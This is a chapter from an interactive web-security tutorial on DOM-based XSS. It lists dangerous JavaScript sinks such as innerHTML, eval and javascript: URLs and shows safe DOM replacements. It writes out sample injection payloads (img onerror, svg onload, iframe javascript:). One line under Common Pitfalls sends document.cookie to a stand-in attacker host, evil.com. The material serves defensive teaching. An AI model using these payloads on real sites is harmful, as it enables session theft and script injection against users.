Chapter 68: Preventing XSS & Clickjacking

Dangerous HTML Sinks in JavaScript

Audit and Eliminate Risky DOM Sinks: innerHTML, outerHTML, document.write(), eval(), and Dynamic Execution Vectors

LEARNING OBJECTIVES
  • Understand the architectural relationship between untrusted DOM Sources and hazardous DOM Sinks.
  • Categorize dangerous JavaScript execution sinks across HTML, script, URL, and event attribute vectors.
  • Analyze the browser parsing mechanics that allow <img>, <svg>, and <iframe> inline handlers to execute inside innerHTML.
  • Refactor sink-polluted legacy JavaScript code into secure DOM manipulation patterns.
🎬 INTERACTIVE VISUAL PIPELINE Core Architecture Simulation
🌐
1. Input
Directives & Tags
⚙️
2. Parse
Tokenizer & AST
🌳
3. Layout
Box Model & Flow
🎨
4. Render
GPU Paint & Composite
PHASE 1: INPUT & DIRECTIVES
Browser receives declarative markup stream, parsing tag tokens and initializing component state.

📖 The Mental Model & Story (Intuitive Foundation)

Imagine a modern city municipal water distribution system. The reservoirs, rainfall catchments, and river intakes represent Sources—places where raw, unvetted water enters the network. The water fountains, kitchen faucets, and hospital taps represent Sinks—points where that water is consumed.

If raw river water contaminated with toxic runoff flows directly into a hospital faucet without passing through a filtration plant, patients get poisoned.

In browser applications, a Source is any JavaScript property or API through which attacker-controlled data enters the client runtime (e.g., location.search, location.hash, window.name, postMessage). A Sink is any DOM or JavaScript API that takes input and interprets it as executable code or structural HTML markup (e.g., innerHTML, document.write(), eval()).

A DOM-Based XSS vulnerability exists if and only if an unvetted data path connects a Source to a Sink. To secure an application, senior engineers must audit and eliminate dangerous sinks.


Technical Deep Dive & Specifications

The Source-to-Sink Data Flow Model

+-------------------------------------------------------------------------------+
|                             DOM DATA FLOW PIPELINE                            |
+-------------------------------------------------------------------------------+

  [UNTRUSTED SOURCES]                    [DATA TAINT PATH]                  [DANGEROUS SINKS]
  • location.href / .search / .hash       ====================>         • Element.innerHTML
  • document.referrer                    (Unsanitized String)           • Element.outerHTML
  • window.name                                                         • document.write()
  • postMessage event.data                                              • eval() / Function()
  • localStorage / sessionStorage                                       • setTimeout(string)
  • fetch() / XHR responses                                             • location.href = ...

Exhaustive Categorization of Dangerous JavaScript Sinks

Dangerous sinks fall into four distinct browser execution categories:

1. HTML & Document Parsing Sinks

These APIs pass a string directly into the browser's HTML tokenizer and parser, constructing new DOM elements:

  • Element.innerHTML = dirtyString
  • Element.outerHTML = dirtyString
  • Element.insertAdjacentHTML('beforeend', dirtyString)
  • document.write(dirtyString)
  • document.writeln(dirtyString)
  • DOMParser.parseFromString(dirtyString, 'text/html')

2. JavaScript Execution / Code Evaluation Sinks

These APIs invoke the V8/JavaScript engine's just-in-time compiler on raw strings:

  • eval(dirtyString)
  • new Function('a', 'b', dirtyString)
  • setTimeout(dirtyString, 100) (when passed a string instead of a function)
  • setInterval(dirtyString, 100) (when passed a string instead of a function)
  • scriptElement.text = dirtyString
  • scriptElement.src = dirtyUrl

3. Navigation & URL Execution Sinks

These APIs cause the browser to navigate to a new resource. If prefixed with the javascript: pseudo-protocol, they execute code within the current origin:

  • location.href = dirtyUrl
  • location.assign(dirtyUrl)
  • location.replace(dirtyUrl)
  • window.open(dirtyUrl)
  • anchorElement.href = dirtyUrl
  • iframeElement.src = dirtyUrl

4. Inline Event Handler Sinks

  • element.setAttribute('onclick', dirtyString)
  • element.setAttribute('onload', dirtyString)
  • element.setAttribute('onerror', dirtyString)

The innerHTML Parsing Mechanics Trap

A common misconception among developers is that setting element.innerHTML is safe because the WHATWG HTML5 specification forbids <script> tags inserted via innerHTML from executing.

According to the WHATWG HTML Living Standard §4.12.1.2:

"Scripts that are inserted using innerHTML do not execute when they are inserted."

However, the HTML parser still processes and executes inline event handlers on non-script elements during DOM tree insertion:

<!-- <script> will NOT execute via innerHTML -->
<script>alert('Blocked by spec')</script>

<!-- THESE WILL EXECUTE IMMEDIATELY via innerHTML: -->
<img src="invalid-image" onerror="alert('Exploited via img onerror!')">
<svg onload="alert('Exploited via svg onload!')">
<video src="x" onerror="alert('Exploited via video onerror!')"></video>
<iframe src="javascript:alert('Exploited via iframe src!')"></iframe>
<body onload="alert('Exploited via body onload!')">
<input autofocus onfocus="alert('Exploited via onfocus!')">

When the browser encounters <img src="x" onerror="...">, it immediately initiates a subresource load for x. Because x fails to resolve, the error event fires synchronously, triggering the onerror handler in the current origin context.


Dangerous Sinks vs. Safe Architectural Replacements

Dangerous Sink Risk Category Exploit Mechanism Safe FAANG-Standard Replacement
element.innerHTML = val HTML Injection <img src=x onerror=...> element.textContent = val or element.setHTML(val)
element.outerHTML = val HTML Injection Full element replacement with malicious markup element.replaceWith(safeNode)
document.write(val) Parser Blocking & Injection Synchronous parser override & code injection document.body.appendChild(safeNode)
eval(val) Direct Arbitrary JS Executes raw string as JavaScript JSON.parse(val) (for data)
setTimeout("fn()", 100) Implied Eval Evaluates code string asynchronously setTimeout(() => fn(), 100)
location.href = val Pseudo-protocol XSS javascript:alert(document.cookie) Validate val starts with https:// or root /
elem.setAttribute('onclick', s) Handler Injection Direct event string evaluation elem.addEventListener('click', fn)

SYS: ACTIVE
HULL: 98%
CORE: STABLE
NET: ONLINE
HTML STARSHIP CODE TERMINAL example.html
LIVE RENDER & DIAGNOSTICS CORE TEMP: 45°C
INSPECTING DOM: VALID
TAGS: SCANNING...

💻 Interactive Code Playground

Starter Code

The following example demonstrates how various sinks process malicious payloads compared to their safe alternatives.

Line-by-Line Code Breakdown

  • Line 33: Defines attackPayload using the classic img onerror injection vector.
  • Line 39: container.innerHTML = "Rendering: " + attackPayload; invokes the browser's HTML parser. The browser fails to fetch "invalid" and immediately fires onerror, triggering the script.
  • Line 46–58: Demonstrates the safe approach:
    • container.innerHTML = '' cleans existing child nodes.
    • document.createElement('span') and document.createElement('code') allocate fresh DOM nodes.
    • .textContent sets the string content strictly as text literals, preventing execution.
    • .appendChild() inserts the safe nodes into the live DOM tree.

Expected Browser Render Output

  • Clicking "Run Insecure Sinks" renders a broken image icon and displays an alert pop-up: "Sink XSS Executed!".
  • Clicking "Run Safe Replacements" renders the exact literal string: Safely Rendered: <img src="invalid" onerror="console.error('Sink XSS Executed!'); alert('Sink XSS Executed!');"> without firing errors or alerts.

SYS: ACTIVE
HULL: 98%
CORE: STABLE
NET: ONLINE
HTML STARSHIP CODE TERMINAL playground.html
LIVE RENDER & DIAGNOSTICS CORE TEMP: 45°C
INSPECTING DOM: VALID
TAGS: SCANNING...

🏋️ Hands-On Exercise

🎯 The Challenge: Refactor a Legacy Dynamic User Table

Instructions:

  1. Review the provided legacy script that dynamically renders a list of incoming user records into an HTML table.
  2. The legacy code contains multiple critical sinks:
    • document.write() on page initialization.
    • innerHTML string concatenation for table rows.
    • setTimeout(string) for a refresh timer.
    • element.setAttribute('onclick', string) for row deletion.
    • Unchecked anchor.href accepting javascript: links.
  3. Refactor the script to remove every dangerous sink, replacing them with standard DOM creation, addEventListener, closure callbacks, and URL validation.

🏁 Starter Code Sandbox

SYS: ACTIVE
HULL: 98%
CORE: STABLE
NET: ONLINE
STARTER CODE SANDBOX exercise.html
LIVE RENDER & DIAGNOSTICS CORE TEMP: 45°C
INSPECTING DOM: VALID
TAGS: SCANNING...

⚠️ Common Pitfalls

  1. Assuming <script> Stripping Secures innerHTML: Believing that removing <script> tags makes innerHTML safe. Inline event handlers (onerror, onload, onfocus) on images, SVGs, and inputs execute upon DOM insertion.
  2. Neglecting URL Scheme Sinks: Assigning user-supplied links to anchor.href or location.href without verifying the protocol. An attacker inputting javascript:fetch('evil.com?c='+document.cookie) achieves immediate code execution upon click.
  3. Using document.write() in Modern Codebases: document.write() is obsolete, blocks the browser parser, degrades performance, and represents a high-severity XSS sink.

💡 Pro Tips

  1. Enforce Static Analysis ESLint Rules: Add @typescript-eslint, eslint-plugin-security, and eslint-plugin-no-unsanitized to your CI/CD pipeline to automatically fail PRs that invoke innerHTML, outerHTML, or eval().
  2. Adopt Declarative Framework Compilers: Modern frameworks like React (JSX) and Angular compile dynamic expressions to safe text nodes by default, requiring deliberate opt-ins like dangerouslySetInnerHTML for raw HTML.

📌 Key Takeaways

  • A DOM Source provides untrusted input; a DOM Sink interprets input as executable code or markup.
  • Element.innerHTML does not execute <script> tags, but will execute inline event handlers (onload, onerror) on elements like <img>, <svg>, and <iframe>.
  • Passing a string to setTimeout() or setInterval() acts as an implied eval(); always pass a function reference or lambda.
  • Setting anchor.href or location.href to unvalidated strings allows javascript: pseudo-protocol execution.
  • Standardize on document.createElement(), .textContent, and addEventListener() to eradicate sink risks at their root.
  • --
⭐ LEARN: HTML 🌟 ⚔️ QUIZ BATTLE ARENA // ACTIVE
3x
STREAK!
BONUS ACTIVE
COMBO
? Question 1 / 3

Why will <img src="x" onerror="alert(1)"> execute when assigned to innerHTML, while <script>alert(1)</script> does not?

Question 1 / 3 Topic: HTML Fundamentals
00:45 REMAINING
XP REWARD
+250 XP
3x
STREAK!
BONUS ACTIVE
COMBO
? Question 2 / 3

Which of the following JavaScript snippets contains an implied eval() sink vulnerability?

Question 2 / 3 Topic: HTML Fundamentals
00:45 REMAINING
XP REWARD
+250 XP
3x
STREAK!
BONUS ACTIVE
COMBO
? Question 3 / 3

How should a senior engineer safely handle user-submitted external website links before assigning them to an <a> element's href attribute?

Question 3 / 3 Topic: HTML Fundamentals
00:45 REMAINING
XP REWARD
+250 XP